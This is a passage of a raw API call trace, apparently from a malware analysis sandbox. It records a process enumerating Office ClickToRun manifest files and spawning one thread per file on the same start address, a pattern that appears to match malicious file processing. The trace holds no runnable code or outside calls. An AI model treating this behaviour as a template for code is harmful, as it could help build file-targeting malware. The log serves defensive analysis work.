ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd252f7b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39d9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", cAlternateFileName="C21578~1.XML")) returned 1 [0072.642] wcscmp (_String1="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", _String2=".") returned 1 [0072.642] wcscmp (_String1="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", _String2="..") returned 1 [0072.642] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x100) returned 0x34208c8 [0072.642] wcscpy (in: _Dest=0x34208c8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.642] wcscat (in: _Dest=0x34208c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.642] wcscat (in: _Dest=0x34208c8, _Source="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" [0072.642] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34208c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x83c [0072.642] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5c4f9a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5c4f9a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd330b2e9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.excelmui.msi.16.en-us.xml", cAlternateFileName="C2D2CD~1.XML")) returned 1 [0072.642] wcscmp (_String1="C2RManifest.excelmui.msi.16.en-us.xml", _String2=".") returned 1 [0072.643] wcscmp (_String1="C2RManifest.excelmui.msi.16.en-us.xml", _String2="..") returned 1 [0072.643] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xea) returned 0x33e5dc0 [0072.643] wcscpy (in: _Dest=0x33e5dc0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.643] wcscat (in: _Dest=0x33e5dc0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.643] wcscat (in: _Dest=0x33e5dc0, _Source="C2RManifest.excelmui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml" [0072.643] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e5dc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x838 [0072.643] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd23fe538, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8f8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", cAlternateFileName="C233DB~1.XML")) returned 1 [0072.643] wcscmp (_String1="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", _String2=".") returned 1 [0072.643] wcscmp (_String1="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", _String2="..") returned 1 [0072.643] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x104) returned 0x341de08 [0072.643] wcscpy (in: _Dest=0x341de08, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.643] wcscat (in: _Dest=0x341de08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.644] wcscat (in: _Dest=0x341de08, _Source="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" [0072.644] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341de08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x834 [0072.644] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3298bbd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x180e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.groovemui.msi.16.en-us.xml", cAlternateFileName="C26024~1.XML")) returned 1 [0072.644] wcscmp (_String1="C2RManifest.groovemui.msi.16.en-us.xml", _String2=".") returned 1 [0072.644] wcscmp (_String1="C2RManifest.groovemui.msi.16.en-us.xml", _String2="..") returned 1 [0072.644] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x33e58e8 [0072.644] wcscpy (in: _Dest=0x33e58e8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.644] wcscat (in: _Dest=0x33e58e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.645] wcscat (in: _Dest=0x33e58e8, _Source="C2RManifest.groovemui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" [0072.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e58e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x70c [0072.645] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd257bc65, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", cAlternateFileName="C25956~1.XML")) returned 1 [0072.645] wcscmp (_String1="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", _String2=".") returned 1 [0072.645] wcscmp (_String1="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", _String2="..") returned 1 [0072.645] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xfc) returned 0x341df18 [0072.645] wcscpy (in: _Dest=0x341df18, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.645] wcscat (in: _Dest=0x341df18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.645] wcscat (in: _Dest=0x341df18, _Source="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" [0072.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341df18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x714 [0072.646] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed578aca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed578aca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd32bedda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5b94, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.lyncmui.msi.16.en-us.xml", cAlternateFileName="C2FCD6~1.XML")) returned 1 [0072.646] wcscmp (_String1="C2RManifest.lyncmui.msi.16.en-us.xml", _String2=".") returned 1 [0072.646] wcscmp (_String1="C2RManifest.lyncmui.msi.16.en-us.xml", _String2="..") returned 1 [0072.646] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe8) returned 0x33f21a8 [0072.646] wcscpy (in: _Dest=0x33f21a8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.646] wcscat (in: _Dest=0x33f21a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.646] wcscat (in: _Dest=0x33f21a8, _Source="C2RManifest.lyncmui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" [0072.646] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f21a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x820 [0072.647] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5063b1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5063b1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3593a88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.office32mui.msi.16.en-us.xml", cAlternateFileName="C2BADD~1.XML")) returned 1 [0072.647] wcscmp (_String1="C2RManifest.office32mui.msi.16.en-us.xml", _String2=".") returned 1 [0072.647] wcscmp (_String1="C2RManifest.office32mui.msi.16.en-us.xml", _String2="..") returned 1 [0072.647] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf0) returned 0x33e5318 [0072.647] wcscpy (in: _Dest=0x33e5318, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.647] wcscat (in: _Dest=0x33e5318, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.647] wcscat (in: _Dest=0x33e5318, _Source="C2RManifest.office32mui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml" [0072.647] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e5318, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x718 [0072.648] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed3d50b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed3d50b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2cc8f5f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.office32ww.msi.16.x-none.xml", cAlternateFileName="C2EBFE~1.XML")) returned 1 [0072.648] wcscmp (_String1="C2RManifest.office32ww.msi.16.x-none.xml", _String2=".") returned 1 [0072.648] wcscmp (_String1="C2RManifest.office32ww.msi.16.x-none.xml", _String2="..") returned 1 [0072.648] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf0) returned 0x33e56f8 [0072.648] wcscpy (in: _Dest=0x33e56f8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.648] wcscat (in: _Dest=0x33e56f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.648] wcscat (in: _Dest=0x33e56f8, _Source="C2RManifest.office32ww.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml" [0072.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e56f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x71c [0072.649] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed31650e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed31650e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd36c4db5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19870, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.officemui.msi.16.en-us.xml", cAlternateFileName="C29059~1.XML")) returned 1 [0072.649] wcscmp (_String1="C2RManifest.officemui.msi.16.en-us.xml", _String2=".") returned 1 [0072.649] wcscmp (_String1="C2RManifest.officemui.msi.16.en-us.xml", _String2="..") returned 1 [0072.649] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x33e57f0 [0072.649] wcscpy (in: _Dest=0x33e57f0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.649] wcscat (in: _Dest=0x33e57f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.649] wcscat (in: _Dest=0x33e57f0, _Source="C2RManifest.officemui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml" [0072.649] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e57f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f8 [0072.650] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2f02a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2f02a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd38424c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.officemuiset.msi.16.en-us.xml", cAlternateFileName="C2467F~1.XML")) returned 1 [0072.650] wcscmp (_String1="C2RManifest.officemuiset.msi.16.en-us.xml", _String2=".") returned 1 [0072.650] wcscmp (_String1="C2RManifest.officemuiset.msi.16.en-us.xml", _String2="..") returned 1 [0072.650] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf2) returned 0x33f2298 [0072.650] wcscpy (in: _Dest=0x33f2298, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.650] wcscat (in: _Dest=0x33f2298, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.650] wcscat (in: _Dest=0x33f2298, _Source="C2RManifest.officemuiset.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml" [0072.650] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f2298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x338 [0072.651] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2f02a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2f02a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd295b9b9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", cAlternateFileName="C21839~1.XML")) returned 1 [0072.651] wcscmp (_String1="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", _String2=".") returned 1 [0072.651] wcscmp (_String1="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", _String2="..") returned 1 [0072.651] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x108) returned 0x33f2398 [0072.651] wcscpy (in: _Dest=0x33f2398, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.651] wcscat (in: _Dest=0x33f2398, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.651] wcscat (in: _Dest=0x33f2398, _Source="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" [0072.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f2398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x428 [0072.652] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2ca0b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2ca0b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd375d6d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4a4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.onenotemui.msi.16.en-us.xml", cAlternateFileName="C24C3D~1.XML")) returned 1 [0072.652] wcscmp (_String1="C2RManifest.onenotemui.msi.16.en-us.xml", _String2=".") returned 1 [0072.652] wcscmp (_String1="C2RManifest.onenotemui.msi.16.en-us.xml", _String2="..") returned 1 [0072.652] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xee) returned 0x33e5bd0 [0072.652] wcscpy (in: _Dest=0x33e5bd0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.652] wcscat (in: _Dest=0x33e5bd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.652] wcscat (in: _Dest=0x33e5bd0, _Source="C2RManifest.onenotemui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" [0072.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e5bd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8 [0072.653] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a3e81, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2a3e81, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd29a7ddb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", cAlternateFileName="C24EFF~1.XML")) returned 1 [0072.653] wcscmp (_String1="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", _String2=".") 